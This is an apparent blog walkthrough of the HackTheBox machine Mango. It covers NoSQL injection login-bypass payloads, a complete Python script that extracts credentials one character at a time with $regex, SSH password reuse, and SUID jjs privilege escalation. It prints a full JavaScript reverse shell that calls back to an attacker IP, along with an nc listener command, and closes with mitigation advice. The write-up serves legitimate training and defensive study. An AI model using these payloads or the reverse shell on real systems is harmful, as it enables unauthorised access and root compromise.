walkthroughs

HTB Mango Walkthrough: NoSQL Injection and Privilege Escalation

HTB Mango Walkthrough: NoSQL Injection and Privilege Escalation

Full HTB Mango walkthrough: NoSQL injection login bypass on MongoDB, credential extraction with $regex, and privilege escalation via SUID on jjs.

  • Posted on 2026-09-02
  • Reading time: 8 min

HTB Mango Walkthrough: NoSQL Injection on MongoDB and Privilege Escalation with JJS #

Mango is one of the most frequently cited HackTheBox machines when it comes to NoSQL injection, and for good reason: it's probably the first box where a pentester new to MongoDB discovers that classic SQL injection techniques no longer work as they've come to expect. Different operators, a different syntax, and a different way of thinking about queries are needed.

In this guide, we analyze the entire attack chain: from initial reconnaissance to authentication bypass via NoSQL injection, from credential extraction to final privilege escalation by exploiting a Java binary with misconfigured SUID permissions. We do this by writing our own tools from scratch, without relying on automated tools like NoSQLMap—which, moreover, being stuck at Python 2.7, is nearly impossible to run on updated Kali without patching half a dozen dead dependencies.

Initial reconnaissance #

As always, we start with a port scan — here with mynmap , Hackita's nmap wrapper:

bash
mynmap 10.129.229.185
text
# Nmap Scan Report — 10.129.229.185
**Date:** 2026-09-01 19:50:03

## TCP Ports Discovered
| Port | State |
|------|-------|
| 22   | open  |
| 80   | open  |
| 443  | open  |

## Service Detection
| Port    | Service  | Version |
|---------|----------|---------|
| 22/tcp  | ssh      | OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) |
| 80/tcp  | http     | Apache httpd 2.4.29 |
| 443/tcp | ssl/http | Apache httpd 2.4.29 (Ubuntu) |

Two useful details emerge from the raw output: port 80 responds with a sharp 403 Forbidden (nothing to see there), while the SSL certificate on 443 reveals in the field commonName the real vhost to add to /etc/hosts:

text
ssl-cert: Subject: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd./...

From there on we work on staging-order.mango.htb, which returns a different title (“Mango | Search Base”) and actually opens a login form.

From a forgotten endpoint to a clue about MongoDB #

Turning on the main application (mango.htb) an interesting endpoint pops up: analytics.phpIt does not require login and displays a simple reporting panel, built with a third-party JavaScript library, Flexmonster.

At this point, without knowing anything about how to proceed, the most natural move is to search for "Flexmonster database"—not so much to find a ready-made exploit, but to understand what kind of stack you're dealing with. Flexmonster is a component for pivot tables and data reporting: its documentation explicitly lists the supported backends, including MongoDB.

It's a small detail but it changes the whole approach: the real backend of the application was not relational as one would expect by default, but consistent with a NoSQL database — so much so that, further on in the attack chain (after accessing the shell), the MongoDB port 27017 It actually turns out to be listening on the target. At that point, returning to the vhost login form staging-order.mango.htb, the suspicion becomes a specific line of investigation: if the backend is MongoDB, it is worth testing the NoSQL payload instead of classic SQL injection on the authentication field.

This is a useful reminder beyond the specific box: before diving into a login form with the usual SQLi payloads, it's always worth taking a look at the application to understand the actual technology stack—forgotten endpoints, third-party libraries, error messages, HTTP headers. This is often where the clues that guide the entire attack lie.

SQL injection vs. NoSQL injection: why everything changes here #

Before diving into the login form, it's worth clarifying your ideas, because this is where those new to classic SQL injection get stuck. If you want a comprehensive guide dedicated solely to this technique, we've covered it separately: NoSQL Injection: Complete Guide.

In a relational database (MySQL, PostgreSQL, MSSQL), data is stored in tables with fixed columns, and queries are SQL text strings. Classic SQL injection works by breaking that string with a single quote:

sql
' OR '1'='1

MongoDB is non-relational: the data is in collection (the equivalent of tables) made of document JSON-style, with fields that can vary from document to document. Queries to MongoDB are not SQL text — they are objects/dictionaries with their own operators ($ne, $gt, $regex, $where...).

This means you're not breaking a string here: you're injecting it directly into the query's data structure . If the backend builds the query by taking your input without validating it, and that input might contain MongoDB operators instead of plain text, you can change the query logic the same way you would with a single quote in SQL—just with a completely different syntax.

Bypass authentication #

Mango's login form accepts two POST fields, username e password (always verify this by intercepting the request with Burp Suite — field names change from application to application, never assume they are user/pass).

The simplest bypass payload exploits the operator $ne (not equal):

text
username[$ne]=admin&password[$ne]=x&login=login

Translated: “find a user whose username is not equal to 'admin' and whose password is not equal to 'x'”. If there is at least one document in the database that satisfies this condition (which is practically always true), the application logs you in as that user.

Alternatively, if you already know the username but want to bypass only the password:

text
username=admin&password[$ne]=hackita

The practical result is the same: you've demonstrated that the endpoint is vulnerable to NoSQL injection without ever having guessed a real password. The successful redirect (status 302) leads to /home.php.

A dead end that redirects the attack #

/home.php However, it contains nothing exploitable: at most, an email address, no control panel, and no functionality that allows further action. The bypass demonstrated the vulnerability, but by itself, it doesn't provide concrete access to the system.

The only other remaining entry point on the host is port 22 (SSH), which we already saw during the reconnaissance phase. This is where the second objective comes into play: bypassing authentication is no longer enough; the real credentials need to be extracted —with the hope (a real one, given how often this happens in reality) that the same user will reuse the password to access the system via SSH as well.

Extract username and password with $regex #

Bypassing lets you in, but as we've just seen, doesn't lead to anything directly exploitable—you'll need to recover your real credentials to attempt reuse over SSH. This is where a second operator comes into play: $regex.

$regex performs a partial match on a string. If you construct a query like this:

text
username[$regex]=^a&password[$ne]=x&login=login

You're asking: "Find a username that starts with the letter a." If the server responds with a successful redirect (usually a 302 to a protected page), you know there's a username that starts with "a." Repeat, adding one character at a time—"ad," "adm," "admi"—until no character produces any more matches, at which point you've reconstructed the entire username, one character at a time. This is a classic blind attack, conceptually identical to a boolean-based blind SQL injection, only with MongoDB syntax.

The exact same procedure, applied to the field password instead of username, recovers your password.

Why not a script found online, but a handwritten one? #

There are several one-liners out there ready for this attack (PayloadsAllTheThings has a much-cited one). Copying and running them works, but understanding every line is much more valuable in the long run—especially since the logic of this script can be reused identically in any future NoSQL injection; only the endpoint and field names change.

The minimum structure is:

python
import requests
import urllib3
import string
import re

urllib3.disable_warnings()

url = "http://staging-order.mango.htb/index.php"
headers = {"Content-Type": "application/x-www-form-urlencoded"}

def trova_campo(nome_campo, altro_campo_bypass, valore_bypass=""):
    trovato = ""
    while True:
        found = False
        for c in string.printable:
            candidato = trovato + re.escape(c)
            payload = "%s[$regex]=^%s&%s[$ne]=%s&login=login" % (
                nome_campo, candidato, altro_campo_bypass, valore_bypass
            )
            r = requests.post(url, data=payload, headers=headers,
                               verify=False, allow_redirects=False)
            if r.status_code == 302:
                trovato += c
                found = True
                break
        if not found:
            break
    return trovato

username = trova_campo("username", "password")
password = trova_campo("password", "username", username)  # una volta noto lo username, si passa a $ne fisso su di esso

print("Username: %s | Password: %s" % (username, password))

Two technical details that are worth highlighting, because they almost always get stumbled upon the first time:

re.escape(c) string.printable includes characters such as *, +, ., ?, $ which have a special meaning in a regex (they're not "the literal character," they're commands). If the real password contained one of these symbols and you sent them to the database unprotected, you'd break the regex syntax instead of testing them as normal characters. re.escape() prepends a backslash to these characters before inserting them into the payload, so MongoDB treats them as literal text — but the character you accumulate in the Python variable remains the “clean” one, without the backslash.

allow_redirects=False — by default requests It automatically follows HTTP redirects, showing you only the final page. Here, you need to see the raw status code of the response (302 = login successful, other = failed), so it should be explicitly disabled.

A useful extension, if you suspect more than one user in the database: after finding a complete username, exclude it from the next search with a negative lookahead in the regex ((?!^admin$)), and repeat the loop — this way you enumerate all the users present, not just the first one the database returns.

From bypass to shell: SSH access #

Enumerating the usernames (with the same script, extended to multiple users as described above) reveals that there is not only one username in the database admin, but also a second user, mango — with its equally extractable password character by character. The next step is to verify the reuse of both credentials on port 22, which was already seen open during the reconnaissance phase:

bash
ssh mango@staging-order.mango.htb

It works: a classic case of password reuse between a web application and the operating system, always worth checking before pursuing more complex approaches. From there, the user's home directory. mango it's empty, but there is a second one for admin — and the previously extracted password for that user works there too, via su.

Privilege escalation: SUID on jjs #

With a shell like admin, a SUID-permitted binary check is the next mandatory step:

bash
find / -perm -4000 -type f 2>/dev/null

Among the results, something unusual appears:

text
-rwsr-sr-- 1 root admin 11K Jul 18 2019 /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs

jjs (Java Java Script) is the command line tool that is part of the JDK and allows you to execute JavaScript code inside the JVM using the Nashorn engine. It is in /usr/lib/jvm/.../bin/ because it is part of the Java installation, there is nothing wrong with it in itself — the anomaly is in the permissions: owner root, group admin, and SUID+SGID bits active (s in place of x). Anyone who belongs to the group admin can run it with effective root privileges.

From JavaScript inside Nashorn you can call native Java classes, including java.lang.ProcessBuilder e java.lang.Runtime, which allow you to launch system processes. Since jjs runs as root, even the processes launched from there inherit that privilege: it is exactly the pattern catalogued on GTFOBins for this track.

The reverse shell #

A practical detail worth mentioning: pasting the JavaScript script line by line directly into the interactive session of jjs often causes problems, because one of the commands (ProcessBuilder with interactive shell) tries to take control of the terminal while jjs is already using it — the process ends up suspended (Stopped). The solution is to write the entire script in a file and run it in one go:

bash
cat > shell.js << 'EOF'
var host='10.10.14.198';
var port=12345;
var ProcessBuilder = Java.type('java.lang.ProcessBuilder');
var p=new ProcessBuilder('/bin/sh', '-p').redirectErrorStream(true).start();
var Socket = Java.type('java.net.Socket');
var s=new Socket(host,port);
var pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){ while(pi.available()>0)so.write(pi.read()); while(pe.available()>0)so.write(pe.read()); while(si.available()>0)po.write(si.read()); so.flush();po.flush(); Java.type('java.lang.Thread').sleep(50); try {p.exitValue();break;}catch (e){}};p.destroy();s.close();
EOF
jjs shell.js

Note the flag -p su /bin/sh instead of the classic -i: tells the shell to don't give up elevated privileges (the effective euid) even if they differ from the real uid — a necessary condition because, inheriting execution from a SUID binary like jjs, the shell effectively remains root instead of reverting to the permissions of the user who launched it.

With a listener listening on the attacker (nc -lvnp 12345), get a shell with uid real admin ma euid=0(root) — enough to read the final flag or, with dash -p copied and made SUID via the same vector, get a clean and stable root shell.

Detection and mitigation #

On the defensive side, this attack chain teaches three concrete things to check in a real production environment:

  • Input validation against MongoDB: Any user input that ends up in a query must be explicitly typed (forced string, not arbitrary object). Libraries like Mongoose allow you to define strict schemas that automatically reject payloads containing operators ($ne, $regex, $where) where only text is expected.
  • Rate limiting on loginA blind character-by-character attack requires hundreds of requests. A reasonable rate limit on the authentication endpoint slows it down to the point of being impractical.
  • Periodic audit of SUID permissions: jjs should not have SUID enabled in any legitimate production scenario — no application needs a Java development tool to run with root privileges. A periodic check script (find / -perm -4000 (compared to a known baseline) intercepts configurations of this type before they become a vector of privilege escalation.

FAQ #

Does NoSQL injection only work on MongoDB? No. MongoDB is the most popular NoSQL database and the one with the most documented attack surface, but the concept applies to any document-based database that supports queries with operators (CouchDB, for example). What changes is the specific syntax of the operators, not the underlying principle: unvalidated input ends up inside the query structure.

Why not use NoSQLMap directly instead of writing the script by hand? NoSQLMap is stuck on Python 2.7, which has been end-of-life for years, and on an updated system, you'll need to patch broken dependencies one by one before you can launch it. For a relatively simple attack like this, a custom-written script is quicker to adapt, more reliable, and most importantly, it forces you to truly understand the mechanism rather than simply reading the output.

Can I use Burp Intruder instead of a Python script? Yes. Brands with §§ the position of the character to test in the payload (username[$regex]=^a§X§), you give it the complete alphabet as a payload set, and you look at which responses have a different status code or length than the others. It's the exact same script loop, done one step at a time via the interface instead of automatically.

#nosql-injection #mongodb #htb-walkthrough

leave a message

I'm not a robot